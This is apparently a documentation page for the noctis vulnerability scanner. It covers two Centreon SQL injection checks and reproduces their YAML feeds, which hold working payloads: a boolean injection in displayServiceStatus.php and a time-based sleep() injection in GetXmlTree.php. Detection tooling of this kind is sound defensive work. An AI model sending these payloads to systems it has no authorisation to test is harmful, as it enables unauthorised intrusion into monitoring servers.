Centreon — 2 vulnerability checks

noctis ships 2 vulnerability checks for Centreon, covering 3 CVEs; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Centreon displayServiceStatus.php SQL Injection

CVECVE-2014-3828, CVE-2014-3829
Severitycritical · CVSS 10.0
Categorysqli — SQL injection
Serviceshttp, https
Detectiontcp_connect, match · highest QoD 75
Feedtests/vulnerabilities/centreon/CVE-2014-3828.yaml

Tests Centreon for unauthenticated SQL injection in include/views/graphs/graphStatus/displayServiceStatus.php. A boolean SQL payload in session_id leads the unpatched script to run its shell graphing command, whose "sh: graph: command not found" error is reflected in the response. QoD 75 (response analysis).

How noctis detects it

  1. Raw TCP (TLS on HTTPS), sent verbatim: GET /include/views/graphs/graphStatus/displayServiceStatus.php?session_id=0%27%20or%201%3…
  2. Checks root_resp.banner for sh: graph: command not found → finding QoD 75: Injected session_id reached the shell graphing command at /include/views/graphs/graphStatus/displayServiceStatus.php: …
  3. Raw TCP (TLS on HTTPS), sent verbatim: GET /centreon/include/views/graphs/graphStatus/displayServiceStatus.php?session_id=0%27%2…
  4. Checks centreon_resp.banner for sh: graph: command not found → finding QoD 75: Injected session_id reached the shell graphing command at /centreon/include/views/graphs/graphStatus/displayServiceStatus.php: …

References:

Feed source — tests/vulnerabilities/centreon/CVE-2014-3828.yaml
# Centreon displayServiceStatus.php SQL injection / command injection
# CVE-2014-3828, CVE-2014-3829
#
# The session_id / index parameters of
# include/views/graphs/graphStatus/displayServiceStatus.php are used unsanitised
# in a database query and, downstream, in a shell command line that invokes the
# graphing tool. A boolean SQL payload (`' or 1=1 -- /**`) carried in session_id
# makes an unpatched instance reach that shell invocation, whose error output
# (`sh: graph: command not found`) leaks into the HTTP response.
#
# Affected: Centreon <= 2.5.1, Centreon Enterprise Server <= 2.2.
#
# Detection (active, unauthenticated): send the encoded payload verbatim (the
# query string carries %xx sequences, so tcp_connect + raw HTTP/1.0 is used to
# avoid client-side URL normalisation) under `/` and the usual `/centreon`
# install dir, then match the shell error in the raw response.
#
# The static "sh: graph: command not found" error only shows the injected
# request reached the shell graphing code path (response analysis / pattern
# match), not a confirmed command execution or attacker-chosen read. The source
# NASL tags this remote_analysis, so QoD is 75 (not 97).
#
# Ported from OpenVAS/Greenbone NVT 2014/gb_centreon_70648.nasl
# (GPL-2.0-only) — same URL, method and match pattern.
uid: 06fc3566-6b5c-4545-96a0-811cae529d04
name: "Centreon displayServiceStatus.php SQL Injection (CVE-2014-3828, CVE-2014-3829)"
description: |
  Tests Centreon for unauthenticated SQL injection in
  include/views/graphs/graphStatus/displayServiceStatus.php. A boolean SQL
  payload in session_id leads the unpatched script to run its shell graphing
  command, whose "sh: graph: command not found" error is reflected in the
  response. QoD 75 (response analysis).
cves: [CVE-2014-3828, CVE-2014-3829]
cvss: 10.0
severity: critical
confidence_base: 0.30
tags: [centreon, sqli, command-injection, unauthenticated]
category: sqli
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2014-3828"
  - "https://nvd.nist.gov/vuln/detail/CVE-2014-3829"
  - "https://web.archive.org/web/20210122064603/http://www.securityfocus.com/bid/70648"
  - "https://web.archive.org/web/20210122064603/http://www.securityfocus.com/bid/70649"
  - "OpenVAS/Greenbone NVT 2014/gb_centreon_70648.nasl (GPL-2.0-only)"

steps:
  # ── Install at web root ────────────────────────────────────────────────────
  - id: sqli-root
    action: tcp_connect
    port: "{{port}}"
    send: "GET /include/views/graphs/graphStatus/displayServiceStatus.php?session_id=0%27%20or%201%3D1%20--%20%2F**%26index%3D1%27%20or%201%3D1%20--%20%2F** HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    timeout_secs: 10
    store_as: root_resp

  - id: sqli-root-match
    action: match
    source: root_resp.banner
    pattern: "sh: graph: command not found"
    on_match:
      finding:
        confidence_delta: 0.55
        qod: 75
        evidence: "Injected session_id reached the shell graphing command at /include/views/graphs/graphStatus/displayServiceStatus.php: {{root_resp.banner}}"
      stop: true

  # ── Install under /centreon ────────────────────────────────────────────────
  - id: sqli-centreon
    action: tcp_connect
    port: "{{port}}"
    send: "GET /centreon/include/views/graphs/graphStatus/displayServiceStatus.php?session_id=0%27%20or%201%3D1%20--%20%2F**%26index%3D1%27%20or%201%3D1%20--%20%2F** HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    timeout_secs: 10
    store_as: centreon_resp

  - id: sqli-centreon-match
    action: match
    source: centreon_resp.banner
    pattern: "sh: graph: command not found"
    on_match:
      finding:
        confidence_delta: 0.55
        qod: 75
        evidence: "Injected session_id reached the shell graphing command at /centreon/include/views/graphs/graphStatus/displayServiceStatus.php: {{centreon_resp.banner}}"
      stop: true

Centreon GetXmlTree.php sid SQL Injection

CVECVE-2015-1560
Severityhigh · CVSS 7.5
Categorysqli — SQL injection
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 75
Feedtests/vulnerabilities/centreon/CVE-2015-1560.yaml

Centreon 2.5.4 and earlier does not validate the sid parameter of include/common/XmlTree/GetXmlTree.php before it reaches a database query, allowing unauthenticated SQL injection.

This check requests the script with a harmless sid to measure the normal response time, then with two sid values that make the database sleep for a random delay, and confirms that each reply is slowed in proportion to the requested delay (the delay is repeated once per row the query scans) while a constant stall does not match. The injected expression only calls SLEEP() and changes no data. The site root and /centreon are tried.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{base}}/include/common/XmlTree/GetXmlTree.php?sid=1
  3. HTTP(S) request GET {{base}}/include/common/XmlTree/GetXmlTree.php?sid=1
  4. Parses / computes the next value with a Rhai script
  5. HTTP(S) request GET {{base}}/include/common/XmlTree/GetXmlTree.php?sid=%27%2Bif(1%3C2,sleep({{sc.s2}}),%2…
  6. HTTP(S) request GET {{base}}/include/common/XmlTree/GetXmlTree.php?sid=%27%2Bif(1%3C2,sleep({{sc.s1}}),%2…
  7. Parses / computes the next value with a Rhai script
  8. Checks tm.found for ^SLEEP$ → finding QoD 75: Centreon GetXmlTree.php sid SQL Injection (CVE-2015-1560)

References:

Feed source — tests/vulnerabilities/centreon/CVE-2015-1560.yaml
# Centreon <= 2.5.4 — GetXmlTree.php 'sid' SQL injection (CVE-2015-1560)
#
# include/common/XmlTree/GetXmlTree.php passes the sid GET parameter to
# common-Func.php without validation, so an unauthenticated request can inject
# SQL into the session lookup. CVE-2015-1561 (ns_id / end in getStats.php) is the
# companion flaw of the same advisory; this feed proves the sid injection.
#
# Detection (active, unauthenticated, non-destructive): the payload
#   sid='+if(1<2,sleep(n),'')+'
# makes the database sleep once per row it evaluates, so the reply is delayed by
# k*n seconds (k = rows scanned; the reference check expects k = 3). The feed
#   0. sends a benign sid twice (faster reply = baseline, status 200);
#   1. sends the injection for a long and a short random n; each reply must be
#      200 and be delayed over the baseline by k*n (the same k for both, 1..5),
#      the longer one >= 2 s more than the shorter, so a server that stalls every
#      such request by a constant time stays clean. QoD 75.
# The statements only read: SLEEP() returns 0, nothing is written.
# The query string carries %xx sequences; http_request keeps them verbatim.
#
# Source: OpenVAS/Greenbone NASL 2015/gb_centreon_mult_vuln_sep15.nasl
#   (OID 1.3.6.1.4.1.25623.1.0.805974, GPL-2.0-only) — same URL and payload; the
#   NASL accepts only k = 3 with 1 s of slack on three fixed delays, which a
#   busier or smaller database misses; this feed accepts k = 1..5 and any reply status.
uid: d17691e1-60ec-46f0-a369-0b3dda9bc5d6
name: "Centreon GetXmlTree.php sid SQL Injection (CVE-2015-1560)"
description: |
  Centreon 2.5.4 and earlier does not validate the sid parameter of
  include/common/XmlTree/GetXmlTree.php before it reaches a database query,
  allowing unauthenticated SQL injection.

  This check requests the script with a harmless sid to measure the normal
  response time, then with two sid values that make the database sleep for a
  random delay, and confirms that each reply is slowed in proportion to the
  requested delay (the delay is repeated once per row the query scans) while a
  constant stall does not match. The injected expression only calls SLEEP() and
  changes no data. The site root and /centreon are tried.
cves: [CVE-2015-1560]
cvss: 7.5
severity: high
confidence_base: 0.30
category: sqli
tags: [centreon, sqli, time-based, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2015-1560"
  - "https://nvd.nist.gov/vuln/detail/CVE-2015-1561"

steps:
  - id: gen
    action: script
    code: |
      let s1 = rand_int(2, 3);
      #{ s1: s1, s2: s1 + 3 }
    store_as: sc

  # Per candidate install directory (loop group); pre-initialise every stored
  # result a script reads so a failed request cannot abort the test.
  - id: init-base1
    action: set_var
    var_name: base1
    var_value: {status: 0, body: null, headers: {}, duration_ms: 0}
    loop:
      over: ["", "/centreon"]
      var: base

  - id: init-base2
    action: set_var
    var_name: base2
    var_value: {status: 0, body: null, headers: {}, duration_ms: 0}

  - id: init-sl1
    action: set_var
    var_name: sl1
    var_value: {status: 0, body: null, headers: {}, duration_ms: 0}

  - id: init-sl2
    action: set_var
    var_name: sl2
    var_value: {status: 0, body: null, headers: {}, duration_ms: 0}

  - id: baseline-1
    action: http_request
    method: GET
    port: "{{port}}"
    path: "{{base}}/include/common/XmlTree/GetXmlTree.php?sid=1"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 20
    store_as: base1

  - id: baseline-2
    action: http_request
    method: GET
    port: "{{port}}"
    path: "{{base}}/include/common/XmlTree/GetXmlTree.php?sid=1"
    condition: "base1.status == 200"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 20
    store_as: base2

  - id: check-baseline
    action: script
    code: |
      let d = if base1.duration_ms < base2.duration_ms { base1.duration_ms } else { base2.duration_ms };
      #{ ok: base1.status == 200 && base2.status == 200 && d < 8000, d: d }
    store_as: bl

  # Long delay first, then the short one.
  - id: sleep-long
    action: http_request
    method: GET
    port: "{{port}}"
    path: "{{base}}/include/common/XmlTree/GetXmlTree.php?sid=%27%2Bif(1%3C2,sleep({{sc.s2}}),%27%27)%2B%27"
    condition: "bl.ok"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 40
    store_as: sl2

  - id: sleep-short
    action: http_request
    method: GET
    port: "{{port}}"
    path: "{{base}}/include/common/XmlTree/GetXmlTree.php?sid=%27%2Bif(1%3C2,sleep({{sc.s1}}),%27%27)%2B%27"
    condition: "bl.ok && sl2.status > 0 && sl2.duration_ms >= bl.d + sc.s2 * 1000 - 1000"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 40
    store_as: sl1

  - id: check-timing
    action: script
    code: |
      let d1 = sl1.duration_ms - bl.d;
      let d2 = sl2.duration_ms - bl.d;
      let k = (d2 + sc.s2 * 500) / (sc.s2 * 1000);
      let hit = bl.ok && sl1.status > 0 && sl2.status > 0 && k >= 1 && k <= 5
        && d2 >= k * sc.s2 * 1000 - 1000 && d2 <= k * sc.s2 * 1000 + 1500
        && d1 >= k * sc.s1 * 1000 - 1000 && d1 <= k * sc.s1 * 1000 + 1500
        && (d2 - d1) >= 2000;
      #{ hit: hit, k: k, found: if hit { "SLEEP" } else { "" } }
    store_as: tm

  - id: report-timing
    action: match
    source: tm.found
    pattern: "^SLEEP$"
    condition: "tm.hit"
    on_match:
      finding:
        title: "Centreon GetXmlTree.php sid SQL Injection (CVE-2015-1560)"
        description: "The sid parameter of {{base}}/include/common/XmlTree/GetXmlTree.php is injectable without authentication: injected sleep() calls delayed the reply in proportion to the requested time."
        confidence_delta: 0.50
        qod: 75
        evidence: "Time-based SQLi in sid of GET {{base}}/include/common/XmlTree/GetXmlTree.php: sid='+if(1<2,sleep(n),'')+' delayed the reply by {{tm.k}} x n — baseline {{bl.d}} ms, sleep({{sc.s1}}) {{sl1.duration_ms}} ms, sleep({{sc.s2}}) {{sl2.duration_ms}} ms"
        remediation: "Update Centreon to a release later than 2.5.4."
      stop: true

View these feeds on GitHub